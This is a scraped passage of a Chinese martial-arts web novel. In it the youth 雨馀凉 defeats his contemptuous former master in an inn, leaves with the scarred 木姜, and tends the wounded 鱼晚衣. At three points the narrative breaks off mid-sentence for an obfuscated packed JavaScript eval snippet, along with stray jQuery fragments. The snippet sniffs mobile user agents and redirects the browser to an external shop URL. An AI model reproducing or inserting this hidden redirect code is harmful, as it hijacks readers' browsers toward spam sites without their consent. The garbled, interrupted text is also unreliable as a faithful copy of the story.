小二见了这阵仗,心想难不成又是一伙来找麻烦的?陪笑的笑容僵在了脸上。 辜俊愿刚从楼梯走上来,目光就与雨馀凉对上了。只见他脸色立马沉了下来,一个箭步冲向雨馀凉,吼道:“跟我回去!” 雨馀凉呆呆地仰头看着辜俊愿,一句话也说不出。 辜俊愿也狠狠瞪着雨馀凉,眼里似要喷出火来。 辜俊愿一直都很不喜欢这个弟子,说真的,雨馀凉怎么样跟他没关系。此次千里迢迢来找雨馀凉,也是赵恬给他下达了任务,否则他才不会跑这么大老远。 辜俊愿为人气量狭窄而易怒,这段时间满腔憋愤,此刻也顾不上时间场合,对着雨馀凉就是一通发泄:“我知道你懂的招式多,你那天在大较上,展示也展示了,满意了吗?” 雨馀凉不知从哪冒出一股勇气,看着辜俊愿道:“我没有想展示。” 辜俊愿道:“没有想展示,没有想展示!你把你爷爷的命都展示进去了,还没有想展示!”他只想把最恶毒最能伤人的语言一股脑全说出来,饶是如此,他还觉得自己说的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732484|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够伤人。 雨馀凉心头一酸。辜俊愿又继续道:“那天你在大较,就跟个耍杂技的一样。” 雨馀凉道:“师父……” 辜俊愿翻了个白眼,道:“你嫌我话说重了?我没有夸你会用其他门派的招式?想要我夸你,也可以啊,你做出来如果美观,那我服了你老人家,问题是你做出来就跟个耍杂技的一样啊。” 雨馀凉觉得脊背一阵阵发麻,他的心仿佛被慢慢撕扯开,又缓缓往下沉。 木姜的声音突然从旁边传来:“斩云诀可不是杂技。” 辜俊愿一怔。 木姜继续道:“这位……呃,师父?请你冷静。现在的情况呢,是这样的。”他声音平静,甚至还带有一些悠哉,与方才辜俊愿与雨馀凉之间焦灼沉郁的氛围格格不入,“雨馀凉这孩子眼下在跟随我修习武功,但他名义上毕竟还是您的徒弟。我虽没收他为弟子,然而像这样教有师父的人武功内心也还是有些别扭。刚好,您来了,你看您作为他的师父,能不能做决定,干脆让他现在就退出谷州刀派,你们解除师徒关系,这样我教他心里也舒坦一些。” 辜俊愿先前注意力全在雨馀凉身上,这时才注意到雨馀凉对面还坐着个木姜。他盯着木姜的脸看了一会,猛然想起这是之前帮助唐郑二掌门退敌的那疤脸汉子。 辜俊愿迟疑一阵,还是朝木姜拱了拱手,幅度极小地鞠了个躬,道:“原来是阁下,怎的没跟二位掌门一起?” 木姜笑道:“我跟他们本就不是一路的。”他顿了顿,说回刚才的话题:“所以我刚刚的提议您觉得如何?您一路找到这来也是相当辛苦,将雨馀凉交给我,您今天就可以收工回去了。” 辜俊愿陪笑道:“要离开谷州刀派,不是简简单单一句话就能够的,有什么事,还是先让雨馀凉回门派再说。” 木姜道:“正是因为现在不能回去,所以才讨您一个商量。” 辜俊愿道:“有什么事要商量,等回谷州府再说。” 木姜看了雨馀凉一眼,道:“为什么一定要让他回谷州府。” 辜俊愿道:“只要他还是谷州刀派的弟子一天,门派就得保障他的安全。” 木姜道:“我看他不会想再回谷州刀派了,你们把他带回去,他之后也会再出来,与其让他今后给你们制造无穷无尽的麻烦,不如现在就让他脱离谷州刀派,从此以后他是死是活与你们无关,你们也省去一桩事不是?” 辜俊愿只道:“有什么事先回了门派再说。” 木姜道:“说实话,他回一趟谷州刀派,你们麻烦,我们也麻烦。真要办什么事也不拘泥于地点,咱们就在这把事情办了,你回去交差就行。” 辜俊愿道:“还是要先回门派。” 木姜逐渐看出来了,谷州刀派这么坚持要把雨馀凉带回去,什么保障他安全只是幌子,如今雨休已死,他们担心水南武林盟主那边怪罪过来,所以要将雨馀凉拿去抵罪。 木姜突然叹了口气,道:“别滚车轱辘话了,让你们掌门来,我直接和他说。” 辜俊愿没有正面回答,只道:“先回门派。” 木姜道:“你做不了主,我也不让你为难。” 辜俊愿道:“掌门在门派,要见掌门,就要回门派。” 两人一开始还维持着表面的客套,之后越交涉火药味越浓。 那高大年轻汉子范舟诚看了一眼木姜和雨馀凉这边,对同桌的人笑着说道:“什么情况?” 一旁客栈掌柜在祈祷:千万不要再动上手了。 木姜起身,道:“是让他来见我,不是我去见他。” 辜俊愿再也忍耐不住,道:“你以为自己是谁?还要赵掌门来见你?不论你今天同不同意,雨馀凉我都非带走不可。” 26. 灼灼(三) 木姜道:“你可以试试。” 辜俊愿回头对跟来的人道:“把雨馀凉带走!” 跟他出来的这四个人中,其中三个是那天夏篁操控蛊毒傀儡对付琥沙派和重云门时在场的,这些人见识过木姜的身手,都不敢贸然上前。只有一个那天不在场,也没见过木姜,随着辜俊愿的一声令下,他踏上一步就要动手,但忽然发觉其他三人都不动,这人左右张望一番,又把脚收了回去。 辜俊愿也不想和木姜硬碰硬。他本来的打算是,让其他四个人先出手,吸引住木姜的注意后自己再寻找空隙将木姜打伤。木姜既已受伤,便只能眼睁睁地看着他们将雨馀凉带走。 可没想到这几个废物竟然不敢动。 辜俊愿心想豁出去了,呛啷一声抽出刀,将刀鞘往旁边大力一甩,接着就向木姜刺去,一上来就使出了自己最得意最精妙的刀法。 只听当的一声刀刃相击,辜俊愿和木姜都吃了一惊。 雨馀凉竟然冲到木姜身前,举刀替他挡下了辜俊愿这一刀。 这时不远处才传来辜俊愿扔出的刀鞘落地发出的啪嗒声。 木姜虽跟雨馀凉说自己不会收他为徒,但通过这一个月的相处,雨馀凉能感觉得出这位前辈是尽心尽力地教他武功。且木姜待他态度温和,不似从前在谷州刀派那般,师父以及大多数师伯师叔厌恶他、刁难他、对他冷眼相待。 除此之外,木姜对他极为耐心。好几次和木姜对练,雨馀凉不是这里没做到,就是那里没做对,而这些地方偏偏都是木姜之前反复提醒过的。 每当这些时候,雨馀凉心里都十分忐忑不安,心想:“他一定对我好生失望。”以为木姜下一刻就要发作。 然而木姜没有说他什么,连失望的神情都不曾流露,一遍遍地教他。 雨馀凉惴惴不安,又极是羞愧,他生怕看到木姜失望的神色,却又总觉得这样的神色下一刻就会出现。 木姜似乎看出了他的紧张,只对他说:“没关系,慢慢练,总能练好的。” 所以雨馀凉在心里,早把木姜当做自己的师父尊敬。 何况方才与辜俊愿说话时,木姜处处回护于他,一直在阻止辜俊愿将自己带回谷州。辜俊愿与木姜起冲突,起因是他,他又怎能在辜俊愿对木姜出手时袖手旁观? 他知道以木姜的本事,自己出手是多此一举。但雨馀凉既已把木姜当做师父看待,有事弟子服其劳,很多事他就不会让木姜亲自来做。 辜俊愿见雨馀凉敢挡自己的刀,喝道:“小畜生,你敢拦我做事?” 雨馀凉道:“辜……辜先生,这是雨馀凉和谷州刀派之间的事,有什么冲我来就好了!” 雨馀凉不称他“师父”而改称“辜先生”,显然是已不再承认自己是他的师父。辜俊愿冷笑一声,手上忽然施力,雨馀凉只感到一股强劲的势道由刀上传来,刀刃直往后压去。 辜俊愿所忌惮的,唯木姜一人而已。他压根没将雨馀凉放在心上,所以才会先攻击木姜,将雨馀凉晾在一边。只要解决了木姜,剩下一个雨馀凉他想怎么处置就怎么处置。 既然现在雨馀凉要上赶着来挨收拾,那么自己就遂了他的意。反正赵恬交给他的任务只是把活的雨馀凉带回去而已。 只要人还活着,那么是缺了只胳膊还是少了条腿,都没什么关系。 雨馀凉双手握住刀柄,眼见着刀刃被辜俊愿压着离自己越来越近,知道自己气力不如辜俊愿,不愈和他硬碰硬,便将刀往旁边一拖,准备先抽身出来再说。 雨馀凉此举正中辜俊愿下怀。辜俊愿正是要诱使雨馀凉将刀刃运往别处,他便趁此空隙攻击雨馀凉薄弱之处。打斗之时,一方试图卸去另一方的力,卸力的那一方或多或少总是会露出破绽。被卸力的一方便可趁势出招进攻,若能得手,那么这场比斗到此为止,被卸力的一方便赢了。而若卸力的一方反应够快,立即回手封挡,虽然当时没有分出胜负,但卸力的一方在危急关头慌忙格挡,自身的心绪、进攻姿势和节奏都被打乱,时间一久,也会逐渐处于下风,若其没有高深艺业,是很难反败为胜的。 辜俊愿见雨馀凉果然去卸他的力,刀尖一个转向,便径向雨馀凉右肩刺去。他这一招,平日在谷州刀派,与和他同一辈的弟子比武时使出来,对方都既无法架格他这一刀,又来不及闪避。此刻用在雨馀凉身上,他都觉得是“杀鸡用了牛刀”。 完全出乎他意料的是,雨馀凉不仅立即调转刀身击开了他这一刀,紧接着反而对他展开了攻势。辜俊愿眼前只见刀光闪烁,耀眼生花,一时没反应过来,竟然被打了个措手不及。 只听辜俊愿惨叫一声,大堂中众人见他后退数步,左手捂着额头,鲜红的血从手掌下流出,顺着脸颊滴下。他退后时踩到地上还没来得及清理的油汤饭菜,脚底一滑,就向后摔倒,幸好身后刚好有一把椅子,辜俊愿便一屁股重重坐在了椅子上,椅子在地上滑动发出嗤的一声大响。 另一头,雨馀凉毫发无损。但他神色讶异,又有些惶恐,似乎不知道自己刚刚做了什么。 雨馀凉一开始卸去辜俊愿的劲道时,以他薄弱的江湖经验,根本没想到辜俊愿会立即变招进攻。他心中所想,不过是先解除眼下的困难,其他的事后面再说。之后眼见辜俊愿一刀刺来,雨馀凉也是心惊,却已来不及避开,突然想起木姜教他的拆招之法,马上便使了出来。他使出这一招也是急中生智下的行险,没想到不仅解去了辜俊愿的攻势,更是伤到了后者。 一旁的范舟诚从鼻子里噗的一声笑出声来,对同桌的两个人道:“我原先以为今天只有武功差劲却叫得凶的,没想到还有来搞笑的。今天这是什么日子,怎么好玩的事全遇到一起了?” 他说这话的声音不小,一时间其他几桌客人也都发出零星的笑声。 范舟诚这话虽然刻薄,但在场的这些武林人士,也确实都好多年没见过像辜俊愿这种的了。谷州府武道不兴,谷州刀派教授的武功虽然能将外行唬得一愣一愣,但实际上非常粗浅。在场之人都是正儿八经在江湖上闯荡的,辜俊愿那两下子在众人面前贻笑大方,也是情理之中的事。况且这些人刚才听到雨馀凉叫辜俊愿作“师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737004|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父”,师父仅在一招上输给徒弟,还输得这么难看,在师父本人看来是丢脸,在别人看来是滑稽。 跟着辜俊愿来的几个谷州刀派门人忙奔过去想要将他扶起,辜俊愿动作粗鲁地将他们挥开,大叫道:“不用扶!”语气甚是暴躁。 辜俊愿看到周围几桌人的目光纷纷射向自己,表情中不乏戏谑。心想这小畜生好阴毒,是存心要让他丢大脸,一时对雨馀凉充满了怨毒。 其实雨馀凉哪里是故意的,不过是他临敌经验少,武功又练得不熟,在危急时刻下没掌握好力道而已。辜俊愿心胸狭窄,往往别人的无心之举,他都在心中认定别人是有意为之。何况他这时对雨馀凉下手狠辣感到怒极,却又没想到是自己率先使出狠辣招式来对付雨馀凉。 木姜就算对辜俊愿这个人的观感再不好,也念及他从前是雨馀凉的师父,本没打算把他怎么样,却没想到雨馀凉无意中让辜俊愿大失面子。他见辜俊愿额头流血,便将手伸进袖子里,想掏止血药出来。 辜俊愿对上雨馀凉,本来信心满满,却没想到自己在这个从前一直嫌弃看不起的弟子手下竟走不了一招,心理落差极大。一时间愤怒、恼恨、羞惭各种情绪涌上心头,急欲要出这口恶气。一瞥眼看见木姜站在栏杆边上,低头在掏什么东西,全然没有注意周围的样子。辜俊愿发起狠来,便想将木姜从栏杆边推下楼去。 他理智尽失,心中想到这里,马上就起身要付诸实践。旁边的四个门人只见辜俊愿从椅子上一弹而起,径向木姜冲去。木姜察觉到动静,茫然地抬起头,见辜俊愿已近在眼前。他表情狰狞,朝木姜伸出双臂,木姜一愕,身子微向后仰,双脚连动也没动,辜俊愿便扑了个空,整个人撞在栏杆上。 木姜也不掏止血药了,将空手从袖子中抽了出来。 辜俊愿双臂直直杵在栏杆上,他情绪激荡下又使出了十二万分的力气,此刻剧烈疼痛从手臂传来,忍不住大声呻吟。四名谷州刀派的门人又赶忙过来,手忙脚乱地将辜俊愿扶起。 只见他双臂无力地垂着,不知道有没有伤到骨头。 木姜面无表情道:“我还以为我这小朋友之前待的门派武功虽然不好,却好歹也是正经门派,没想到里面的人人品这么不堪。”他看了一眼雨馀凉,又道:“雨馀凉好好一块材料被你们教成这样,真不知是怎生教的,雨休那样的人才又不知利用只知排挤,唉。” 真是水越浅的地方王八越多。 虽然后面这句话木姜没有说出来就是。 他转身一甩袖道:“走吧,馀凉。” 雨馀凉闻言,拿起刀跟随木姜而去了。 辜俊愿表情颓败,面如死灰,由四名门人搀扶着从楼梯下去,离开了客栈。 其他几桌客人有些摇头,有些笑笑,继续喝酒吃饭。 掌柜的一巴掌拍在小二后脑勺,道:“还愣着干什么?去看看栏杆撞坏没有啊!”说着掏出了算盘,一边拨一边叹气。 此刻在无人在意的角落里,阳光略微斜照,金色的光落在写着“不许打架斗殴”的木牌上,熠熠生辉。 27. 灼灼(四) 从大堂出来后,雨馀凉和木姜走在回廊上。 先前跟辜俊愿过招时,雨馀凉动作幅度太大,身上一直带着的那把银锁移了位置,硌得他有些不舒服。于是雨馀凉将银锁从衣服里取出,调整好位置后又放了回去。 木姜见那长命锁颜色发黑,又有些眼熟,想这也是长命锁常见的样式,没多去在意,随口道:“你这银锁该拿去炸一下了。” 雨馀凉道:“爷爷说这把长命锁是他捡到我时我就戴着的,这上面说不定有我身世的线索。我先不做处理,万一不小心去掉了什么有价值的线索就不好了。” 木姜沉吟一阵,道:“既如此,这把长命锁也不要轻易在人前显露出来,江湖中人多眼杂,很多事说不清。” 雨馀凉听他说的话与雨休如出一辙,心里一暖,道:“嗯。” 两人走了一阵,雨馀凉又对木姜道:“以前师……辜先生曾跟我们说过,对方来卸你的力时,往往也是他防守最薄弱的时候,你便可趁机继续出招进攻。对方不仅难以抵挡,连避开也不易。方才辜先生大约也是想凭借这点……对付我,可是木前辈,我想知道真是这样吗,若你要卸去对方的力,真的就是从一开始就处于下风,一点办法也没有吗?” 刚才雨馀凉虽拆解了辜俊愿的那招,可他自己也是稀里糊涂的,下意识地出招,却不知道为什么要这样做。等他反应过来,辜俊愿已然负伤。这时回想起当时的情景,颇有些后怕,便开口询问木姜。 木姜道:“是会这样,但你若在卸去对方力道的同时拆解对方的招式,甚至在卸力的动作中暗含进攻的后着,这个问题便迎刃而解了。” 雨馀凉道:“具体要如何做?还请木前辈不吝赐教。” 木姜笑吟吟道:“你无意之间,其实已在这样做了。他不但没能伤到你,反而被你所伤,你这不是在拆解他的招式?还拆得挺好。小子习武有天分,差点就被谷州刀派埋没了。” 雨馀凉挠挠头。其实那个时候他不过是见避无可避,又无力架住辜俊愿的刀,走投无路下这才选择迎着辜俊愿的刀锋直接拆解,不想效果出奇地好,跟木姜待在一起的一个月,在武功上,他似乎逐渐入门了。他从前一直害怕、抵触习武,但一来找到了感觉,二来木姜几次夸他是练武的材料,从前只是对武学理论有的那么一点微薄的兴趣稍微扩展到实战上了。 二人说着,不知不觉间便已来到了各自的房间门口。 回房之前,木姜道:“我就在隔壁,有什么事敲门就是。” 雨馀凉点点头,便开门进屋。 他将房门关好,一转过头就被吓了一跳,差点叫出声来。 只见在房间靠里位置的床上,山鬼已经坐了起来。 她正看着雨馀凉。 雨馀凉强自定了定心神,一边走过去,一边道:“姑……姑娘,你醒了?”话一出口他就想扇自己一巴掌,这不是醒了是什么? 山鬼丝毫没觉得这句话不妥,也没察出雨馀凉的窘迫,道:“这是哪里?”声音脆生生的,语音里却又有些不安。 雨馀凉道:“这……这里是客栈,我……我进城时看到你倒在路边,就把你带到这来了,姑娘你没事,真是太好了,我……呃,那个什么,你……”他说到这里,有些不知道该说什么了。 山鬼道:“原来是你救了我。”她低下头,复又抬起头来,道:“多谢你。” 雨馀凉道:“没……没什么,姑娘,你……你为何倒在那里?” 山鬼不答。 雨馀凉见山鬼不说话了,暗暗后悔自己问了不该问的。过了一会儿,他道:“姑娘……那天你来看我大较,我……我很感激你……” 山鬼睁大了眼望着雨馀凉。 突然,她开口问道:“你的名字叫做雨馀凉是不是?” 雨馀凉道:“……是。”同时心里微微吃惊,想问山鬼她怎么知道自己的名字。但转念一想,山鬼既然来看了他大较,每场大较比试前门派都会大声报出比武双方的名字,这位姑娘必然是那时知道的。 雨馀凉的推测虽然有道理,但事实上不然。他和谢岚星比试那天,山鬼与河伯刚好来晚了,没听到雨馀凉的名字。雨馀凉的名字,都是后来山鬼与河伯打听到的,而他们打听雨馀凉名字的目的,自也不是因为山鬼的个人喜好。 山鬼道:“馀凉小兄弟,我之所以会来到谷州府,是为了完成我主子交给我的任务。至于为什么会受伤,也是因为完成任务的过程中被人盯上了。” 任务?雨馀凉在心里重复这两个字。 山鬼浅浅苦笑道:“很多事情,我不能再说了。但我现在有问题想要问你,你想答就答,若不想说,也没关系的。” 雨馀凉心中一动,问道:“什么问题?” 山鬼道:“你爷爷……你爷爷为什么会跟夏篁在一起?” 雨馀凉道:“是夏篁利用了他,他们几个月前才认识。夏篁找到我爷爷,先与他结交,之后再让爷爷帮他做事。我爷爷虽是谷州刀派的人,却一直与门派有矛盾。爷爷想报复谷州刀派,又希望自己的才华有用武之地,才答应了夏篁。” 山鬼道:“原来如此。”她听雨馀凉语气,似乎对夏篁颇有敌意,心想难道夏篁与雨氏爷孙闹掰了?又想到一个月前自己与河伯跟踪雨馀凉时,那时就没见到雨休,便问道:“你爷爷他,现在何处?” 雨馀凉道:“他去世了。” 山鬼愕然,想问雨馀凉发生了什么,心下却是有些不忍。 山鬼道:“……抱歉。” 雨馀凉轻声道:“没事。” 过了半晌,山鬼又问:“那你……知不知道夏篁是哪里的人?在为谁做事?” 雨馀凉眼神空洞,似乎有些失神,道:“……我不知。关于他自己的一切,他什么都没跟我爷爷说。” 山鬼道:“这样……” 两人又是一阵沉默。 忽然三声敲门声传来,有人在门外道:“馀凉,可以进来吗?” 是木姜的声音。 雨馀凉转头对山鬼道:“这是跟我同行的一位很好的前辈,方便让他进来吗?” 山鬼点点头。 雨馀凉见女孩子同意,便朝门的方向道:“木前辈,进来吧。” 木姜一进屋内,山鬼看清他的脸后先是吃了一惊,心想,怎么是他? 这姓木的疤脸汉子和雨馀凉给人感觉像是认识,又像是不认识。之前鱼晚衣在谷州府请雨馀凉带她找兵器铺时,恰巧见到这疤脸汉子与河伯对峙,那时他的表现让人觉得他与雨馀凉素不相识。但之后在谷州刀派,夏篁与唐奕才放对,雨馀凉从看台落下,这疤脸汉子却又出手救下雨馀凉,简直让人匪夷所思。 那日她与河伯跟随雨馀凉,这疤脸汉子也一直跟在后面,实在是搞不清楚此人的意图。更让山鬼没想到的是,这之后这疤脸汉子竟与雨馀凉同行到现在。 山鬼小心翼翼,不知这疤脸汉子有没有把那天自己和河伯跟踪雨馀凉的事告诉雨馀凉,双手不由得攥紧了被褥,殊不知她的这些小动作都被雨馀凉看在眼里。 木姜本就是来找雨馀凉商议山鬼的事,一进门看见山鬼已经醒了,雨馀凉就坐在床边的一张凳子上,于是面上露出微笑,道:“这位姑娘醒了?” 他来到床边,向山鬼问道:“姑娘身上感觉怎么样了?伤处可还有什么大碍?可还疼痛?我让馀凉给姑娘胡乱用了些医治内伤的药,姑娘若还有什么地方不好,但说不妨。” 山鬼听他这么说,暗自运气,果然比昏迷前顺畅许多,内力经过伤处时也不像之前那般疼痛,想来是他们的药起了作用。当即对木姜道:“多谢这位先生,小女子来日必将报答。” 木姜笑了,一手摸着雨馀凉的头道:“是馀凉要救你,我只是提供了一颗药而已。姑娘要报答,便报答馀凉吧。”他顿了顿,直截了当道:“姑娘不如说说先前为什么跟踪馀凉?” 山鬼心下一沉,心想这疤脸汉子果然提到了这茬。 木姜看她反应,心想雨馀凉这傻孩子果然还没问那日这女子和另一个汉子跟踪他的事。 雨馀凉其实也比较关心这点,只是一直不知道怎么开口。然而方才山鬼连问他几个有关夏篁的问题,雨馀凉心内已经隐隐约约感觉到,这位姑娘跟踪自己,其实是为了获取与夏篁有关的情报。 山鬼道:“我们跟踪这位雨少侠自有我们的目的,不过请二位放心,我与搭档暗中跟随雨少侠,并无伤害雨少侠之意。况且如今情况发生变化,雨少侠已经不是我们的目标了。”她说这话时,眼睛直视木姜,显得十分坦荡。 雨馀凉听山鬼叫自己雨少侠,颇觉不好意思,心想“少侠”这二字如何与我相配?自从跟随木姜习武以来,雨馀凉武功进步不少,但仍觉得江湖、武林与自己并不属于一个世界。“侠”这个字,他自觉有些承受不起。 不等木姜和雨馀凉说话,山鬼又道:“多谢二位相救,这个恩情,我以后定会报答。”她一拱手,“这就告辞了。” 山鬼说完,便翻身下床。 然而她没走几步,脚下忽然一软,接着眼前天旋地转,就这么直接倒了下去。 雨馀凉见状,忙上前扶起。木姜也走上前来,与雨馀凉合力将山鬼抬回了床上。 山鬼躺在床上还晕了足足有一阵,良久之后眼前金星才逐渐散去,恢复了清明。 木姜道:“姑娘的伤势没好,还是先在这里将养几天,如此勉强自己出去,就算没遇上之前打伤姑娘的强敌,万一遇见了地痞流氓,姑娘这个样子,也难以应付。” 雨馀凉听了木姜这番话,重重点了点头,神色认真地对山鬼道:“是啊姑娘,你就在这里养几天伤。就算急着要去做什么事,以你现在的身体状况也做不了什么,如果这时候出了什么意外,反而得不偿失了。” 山鬼没有说话,却也没有再挣扎着起身了。 过了一会,山鬼说道:“房钱我会给的。” 木姜笑道:“这个嘛,是之后的事,便之后再说。姑娘现在只需要想着好好养伤这一件事就可以了。” 山鬼不言,过了一会又说:“先前我跟踪雨少侠,确实没有歹意,只是为了通过雨少侠调查一件事,雨少侠跟这件事并无直接关系。” 雨馀凉听她反复强调这点,觉得她不像撒谎,且也能够理解她这种有很多事不能说的情况。 木姜忽然想起一事,对山鬼道:“姑娘,你可知你搭档为什么说六年前斩断他小臂的人是我?” 山鬼摇头道:“我不知道。”她看向木姜,“我发誓我真不知道。六年前我们失去了与他的联系,他就像是人间蒸发了一般。我们也是前不久得知他在九寒山牢,上头这才派我来将他带出来。等我到九寒山牢找到他时,就发现他右边小臂已经全部没了。” 木姜听她这么说,低头沉默不语。 山鬼一开始对六年前斩断河伯小臂的人是疤脸汉子这点坚信不疑,因为河伯对内功真气的感知从来没有出过错。但如今看这疤脸汉子的反应,她倒真觉得这其中有蹊跷了。 三人一时无话。过得片刻,木姜对雨馀凉道:“馀凉,我先回了,你和这位姑娘如有什么事,来叫我便是。” 雨馀凉答应了,木姜自出房间,房门关上时,发出一声轻响。 房内又只剩下雨馀凉和山鬼二人。 雨馀凉道:“既然姑娘醒了,那我得再去要一间房。” 山鬼没明白过来雨馀凉的意思,重复他的话道:“再要一间房?” 雨馀凉挠着头,颇有些不好意思地将自己和木姜把山鬼带到客栈时,一时疏忽,仍是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740490|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了两间房,安顿好山鬼后才发现这个问题,但又出于种种原因,比如山鬼半夜醒来,或有其他什么突发状况,旁边没人照看,于是决定不再单另去要一间房,由雨馀凉在山鬼旁边打个地铺就是……诸如此类情况一五一十地说了出来。 雨馀凉小心地察看山鬼的脸色,道:“姑娘,我不是歹人,也没有……轻薄姑娘的意思,如今姑娘既醒了,我再去要一间房。”说到最后,雨馀凉的脸竟微微有些红了。 方才逞强下了趟床,山鬼胸口窒闷,似乎有淤血堵在胸腔中又咳不出,身体倒是的确还有些不适。心想雨馀凉说的有道理,自己受伤卧床,她也不知道自己的身体短时间内还会不会再出状况,一旁还是有人守着更妥当。 她不是忸怩纠结的女子,何况这雨馀凉和那姓木的疤脸汉子看上去都不是猥琐好色之徒。那姓木的汉子不似雨馀凉这般傻傻的,且武功高强,跟他同处一室不仅会让人感到一股无形的压力,山鬼若想在他眼皮子底下搞一些小动作也是不大可能。话说回来,那姓木的是个粗犷壮年汉子,山鬼虽然豪迈大胆,到底也是个少女,自然觉得跟雨馀凉这种面皮白净清秀的青涩少年待在一起更自在些。 这么一想,非要和人同处一室的话,雨馀凉竟还是最佳人选。 山鬼在心中思定,忙叫住正准备出去找小二的雨馀凉:“雨少侠留步!” 雨馀凉一怔,停下脚步回过头来。 山鬼咳了两声,道:“我认为雨少侠方才所说极有道理。我如今虽意识清醒,但身体还是有些不适。可否烦请雨少侠委屈一两日,在旁照看着我些?多要一间房却是不必了。”她虽然全是为了大局考虑,想要自己的身体尽快恢复,一丝歪心也没有,但说出这些话时,却也有些不好意思起来。 雨馀凉听她说着,越听越是心跳加速,到最后一颗心在胸腔里竟是战若擂鼓。 山鬼又看向雨馀凉正色道:“不敢再给雨少侠添麻烦,晚上我打地铺就行。”她神色认真,但双颊还是泛起了潮红。山鬼本就娇俏,如此一来容色更显娇艳。 雨馀凉忙道:“不,不,你是伤患,怎么能我睡床你睡地上,一定是我睡地铺的。” 山鬼见雨馀凉坚持,也没再说什么了,再次道:“给少侠添麻烦了。” 雨馀凉双手忙摇,道:“没有没有!” 过了半晌,雨馀凉道:“那个……道姑姑娘……”话说出口,雨馀凉自己听着都觉得哪里不对,怔了一怔,才惊觉自己好蠢。 什么道姑姑娘?道姑姑娘是什么称呼? 山鬼这次是真的被他逗笑了,抿嘴笑道:“鱼晚衣。” 雨馀凉:“啊?” 山鬼看着雨馀凉的眼睛道:“我叫鱼晚衣。” 雨馀凉道:“是三笔那个‘于’,还是表我的‘余’,还是……除魔大侠俞叔吉的‘俞’?”说到第三个“俞”时,雨馀凉一时不知道怎么形容这个“俞”字,也想不到能用它来组什么词,只好说出水南一个有名侠士的名字。 山鬼笑道:“都不是,是水里游的那个鱼。晚是夜晚的晚,衣是衣衫的衣。” “鱼……晚……衣……”雨馀凉让这几个字在自己唇齿间滚动,喃喃道:“真是个好听的名字。” 鱼晚衣脸又是一红,道:“有什么好听啦……” 二人又有一搭没一搭地说了些话,但无非是说些天气、各地风物等不痛不痒的事物,两个人都十分默契地没有再提起夏篁、雨休、鱼晚衣的任务之类话题。 这之后雨馀凉说了一句话,没听见鱼晚衣答复。雨馀凉往床上一瞧,发现鱼晚衣已经闭上眼睡着了。只听她呼吸略微粗重,想是身有内伤的缘故。 房间内静极,雨馀凉坐了一会也有些困倦,便趴在桌子上睡了。 不知过了多久,突然一阵敲门声传来。 雨馀凉惊醒,猛地抬头,一眼看见还睡在床上的鱼晚衣,赶忙蹑手蹑脚地过去开门,只见木姜托着只木盘站在门外。 雨馀凉道:“木前辈,这是?” 木盘里放着数碟菜肴并两碗白米饭,菜肴有荤有素,都是口味清淡的。木姜将木盘端到雨馀凉面前,道:“那位姑娘现在还不好下床罢,这些饭菜是给你们的,晚饭你就陪那位姑娘在房间里吃。还有,姑娘是伤患,所以我只拣了些清淡的菜,委屈你也跟着一起吃这些了。” 雨馀凉忙谢过木姜。经过一个来月的相处,雨馀凉发现,这个木姜虽外表看上去是个粗豪汉子——他第一次见到木姜,尤其是看到木姜脸上的那道疤时,甚至有些害怕,但木姜平日表现不仅没半点粗鲁暴虐之态,反而斯斯文文温温柔柔,又细心周到,雨馀凉再次在心中感慨人不可貌相。 他又想,原来这一觉都睡到吃晚饭的时候了。 他和木姜说得几句,便端着木盘回到房间。所幸没等多久鱼晚衣就醒了,两人吃了晚饭。到入睡时,雨馀凉真个二话不说在地上打了个地铺,地铺和床之间隔着桌子。 晚上鱼晚衣一直警醒着。下午那阵大概是因为受了内伤,又勉强从床上起来,导致气血翻涌,所以之后格外疲倦,竟忍不住睡了过去。她虽觉得雨馀凉是个与自己差不多年纪的青涩少年,但也不敢完全掉以轻心,再加上下午睡了一觉后精神养足了许多,熄灯后,鱼晚衣便一直留心着雨馀凉那边的动静,心里已打定主意,只要雨馀凉有什么不轨之举,她便一刺将雨馀凉杀了。一边这样想着,被子下的手一边攥紧了三棱钢刺。 只听得雨馀凉呼吸平稳,应是已经睡着。鱼晚衣正略微松了口气,神经逐渐松弛下来,忽听得桌子另一头发出窸窣的声响。鱼晚衣一震,那细碎的声音响了几声后就消失了,室内复又一片寂静。 原来是雨馀凉在睡梦中翻了个身。 直到外面四更更鼓敲响,鱼晚衣才迷迷糊糊睡去。 28. 灼灼(五) 第二天早上,雨馀凉是被街上的嘈杂声吵醒的。因他们住的是临街的房间,窗外就是敛安城的一条大街,街道上卖早点的茶摊已经吆喝起来了,又有车轮在青石板路面上辚辚碾过的声音,满是烟火气息。 他望着头顶白色的天花板,突然旁边脚步声响,紧接着一抹清浅的身影映入眼帘。 